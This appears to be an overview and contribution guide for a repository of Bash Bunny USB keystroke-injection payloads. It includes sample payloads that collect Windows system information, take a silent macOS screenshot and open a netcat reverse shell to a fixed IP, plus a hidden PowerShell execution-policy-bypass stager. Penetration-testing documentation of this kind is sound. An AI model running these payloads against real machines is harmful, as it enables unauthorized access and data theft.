Quick Overview

The hak5/bashbunny-payloads repository is a collection of payloads for the Bash Bunny, a USB attack platform developed by Hak5. It contains various scripts and payloads that can be executed when the Bash Bunny is plugged into a target computer, allowing for automated penetration testing, security assessments, and other cybersecurity-related tasks.

Pros

  • Extensive collection of ready-to-use payloads for various attack scenarios
  • Community-driven project with regular updates and contributions
  • Compatible with multiple operating systems (Windows, macOS, Linux)
  • Well-documented payloads with clear instructions and explanations

Cons

  • Potential for misuse if not handled responsibly
  • Some payloads may become outdated as target systems are patched
  • Requires physical access to the target machine
  • Limited by the capabilities of the Bash Bunny hardware

Code Examples

  1. Example of a simple Windows payload to gather system information:
# Filename: payload.txt
LED SETUP
ATTACKMODE HID
Q DELAY 500
Q GUI r
Q DELAY 100
Q STRING cmd /c "systeminfo > %TEMP%\sysinfo.txt"
Q ENTER
Q DELAY 2000
Q GUI r
Q DELAY 100
Q STRING powershell -WindowStyle Hidden -Command "Get-Content $env:TEMP\sysinfo.txt | Out-File -Encoding ASCII $env:TEMP\sysinfo.txt"
Q ENTER
ATTACKMODE STORAGE
LED FINISH

This payload opens a command prompt, runs the systeminfo command, saves the output to a file, and then converts the file to ASCII encoding for easier exfiltration.

  1. Example of a macOS payload to capture a screenshot:
# Filename: payload.txt
LED SETUP
ATTACKMODE HID
Q DELAY 1000
Q GUI SPACE
Q DELAY 500
Q STRING terminal
Q ENTER
Q DELAY 1000
Q STRING screencapture -x /tmp/screenshot.png
Q ENTER
Q DELAY 1000
Q STRING exit
Q ENTER
ATTACKMODE STORAGE
LED FINISH

This payload opens the Terminal, captures a screenshot using the screencapture command, and saves it to the /tmp directory.

  1. Example of a Linux payload to create a reverse shell:
# Filename: payload.txt
LED SETUP
ATTACKMODE HID
Q DELAY 1000
Q ALT F2
Q DELAY 500
Q STRING gnome-terminal
Q ENTER
Q DELAY 1000
Q STRING nc -e /bin/sh 192.168.1.100 4444
Q ENTER
ATTACKMODE STORAGE
LED FINISH

This payload opens a terminal and establishes a reverse shell connection to the IP address 192.168.1.100 on port 4444 using netcat.

Getting Started

To use these payloads:

  1. Clone the repository: git clone https://github.com/hak5/bashbunny-payloads.git
  2. Choose a payload and copy it to your Bash Bunny's payloads directory.
  3. Rename the payload file to payload.txt in the appropriate switch position folder (e.g., switch1/).
  4. Safely eject the Bash Bunny and set the switch to the corresponding position.
  5. Plug the Bash Bunny into the target machine to execute the payload.

Always ensure you have proper authorization before using these payloads on any system.

About the Bash Bunny

Linux machine in a USB. By emulating combinations of trusted USB devices — like gigabit Ethernet, serial, flash storage and keyboards — the Bash Bunny tricks computers into divulging data, exfiltrating documents, installing backdoors and many more exploits.





image

ADVANCED ATTACKS

For the sake of convenience, computers trust a number of devices. Flash drives, Ethernet adapters, serial devices and keyboards to name a few. These have become mainstays of modern computing. Each has their own unique attack vectors. When combined? The possibilities are limitless. The Bash Bunny is all of these things, alone – or in combination – and more!

Contributing


View Featured Payloads and Leaderboard

Please adhere to the following best practices and style guides when submitting a payload.

Once you have developed your payload, you are encouraged to contribute to this repository by submitting a Pull Request. Reviewed and Approved pull requests will add your payload to this repository, where they may be publically available.

Please include all resources required for the payload to run. If needed, provide a README.md in the root of your payload's directory to explain things such as intended use, required configurations, or anything that will not easily fit in the comments of the payload.txt itself. Please make sure that your payload is tested, and free of errors. If your payload contains (or is based off of) the work of other's please make sure to cite their work giving proper credit.

Purely Destructive payloads will not be accepted. No, it's not "just a prank".

Subject to change. Please ensure any submissions meet the latest version of these standards before submitting a Pull Request.

Naming Conventions

Please give your payload a unique, descriptive and appropriate name. Do not use spaces in payload, directory or file names. Each payload should be submit into its own directory, with - or _ used in place of spaces, to one of the categories such as exfiltration, phishing, remote_access or recon. Do not create your own category.

Staged Payloads

"Staged payloads" are payloads that download code from some resource external to the payload.txt.

While staging code used in payloads is often useful and appropriate, using this (or another) github repository as the means of deploying those stages is not. This repository is not a CDN for deployment on target systems.

Staged code should be copied to and hosted on an appropriate server for doing so by the end user - Github and this repository are simply resources for sharing code among developers and users. See: GitHub acceptable use policies

Additionally, any source code that is intended to be staged (by the end user on the appropriate infrastructure) should be included in any payload submissions either in the comments of the payload itself or as a seperate file. Links to staged code are unacceptable; not only for the reasons listed above but also for version control and user safety reasons. Arbitrary code hidden behind some pre-defined external resource via URL in a payload could be replaced at any point in the future unbeknownst to the user -- potentially turning a harmless payload into something dangerous.

Including URLs

URLs used for retrieving staged code should refer exclusively to example.com using a bash variable in any payload submissions see Payload Configuration section below.

Staged Example

Example scenario: your payload downloads a script and the executes it on a target machine.

  • Include the script in the directory with your payload
  • Provide instructions for the user to move the script to the appropriate hosting service.
  • Provide a bash variable with the placeholder example.com for the user to easily configure once they have hosted the script

Simple Example of this style of payload

Payload Configuration

Be sure to take the following into careful consideration to ensure your payload is easily tested, used and maintained. In many cases, payloads will require some level of configuration by the end payload user.

  • Abstract configuration(s) for ease of use. Use bash assignment variables where possible.
  • Remember to use PLACEHOLDERS for configurable portions of your payload - do not share your personal URLs, API keys, Passphrases, etc...
  • URLs to staged payloads SHOULD NOT BE INCLUDED. URLs should be replaced by example.com. Provide instructions on how to specific resources should be hosted on the appropriate infrastructure.
  • Make note of both REQUIRED and OPTIONAL configuration(s) in your payload using bash comments at the top of your payload or "inline" where applicable.
Example: 
	BEGINNING OF PAYLOAD 
	... Payload Documentation... 

	# CONFIGURATION
	# REQUIRED - Provide URL used for Example
	MY_TARGET_URL="example.com"

	#  OPTIONAL - How long until payload starts; default 5s
	BOOT_DELAY="5000"

	QUACK DELAY $BOOT_DELAY
	...
	QUACK STRING $MY_TARGET_URL
	...

Payload Documentation

Payloads should begin with # bash comments specifying the title of the payload, the author, the target, and a brief description.

Example:
	BEGINNING OF PAYLOAD

	# Title: Example Payload
	# Author: Korben Dallas
	# Description: Opens hidden powershell and
	# Target: Windows 10
	# Props: Hak5, Darren Kitchen, Korben
	# Version: 1.0
	# Category: General

Binaries

Binaries may not be accepted in this repository. If a binary is used in conjunction with the payload, please document where it or its source may be obtained.

Configuration Options

Configurable options should be specified in variables at the top of the payload.txt file

# Options
RESPONDER_OPTIONS="-w -r -d -P"
LOOTDIR=/root/udisk/loot/quickcreds

LED

The payload should use common payload states rather than unique color/pattern combinations when possible with an LED command preceding the Stage or ATTACKMODE.

# Initialization
LED SETUP
GET SWITCH_POSITION
GET HOST_IP

# Attack
LED ATTACK
ATTACKMODE HID ECM_ETHERNET

Stages and States

Stages should be documented with comments

# Keystroke Injection Stage
# Runs hidden powershell which executes \\172.16.64.1\s\s.ps1 when available
GET HOST_IP
LED STAGE1
ATTACKMODE HID
RUN WIN "powershell -WindowStyle Hidden -Exec Bypass \"while (\$true) { If (Test-Connection $HOST_IP -count 1) { \\\\$HOST_IP\\s\\s.ps1; exit } }\""

Common payload states include a SETUP, with may include a FAIL if certain conditions are not met. This is typically followed by either a single ATTACK or multiple STAGEs. More complex payloads may include a SPECIAL function to wait until certain conditions are met. Payloads commonly end with a CLEANUP phase, such as moving and deleting files or stopping services. A payload may FINISH when the objective is complete and the device is safe to eject or turn off. These common payload states correspond to LED states.
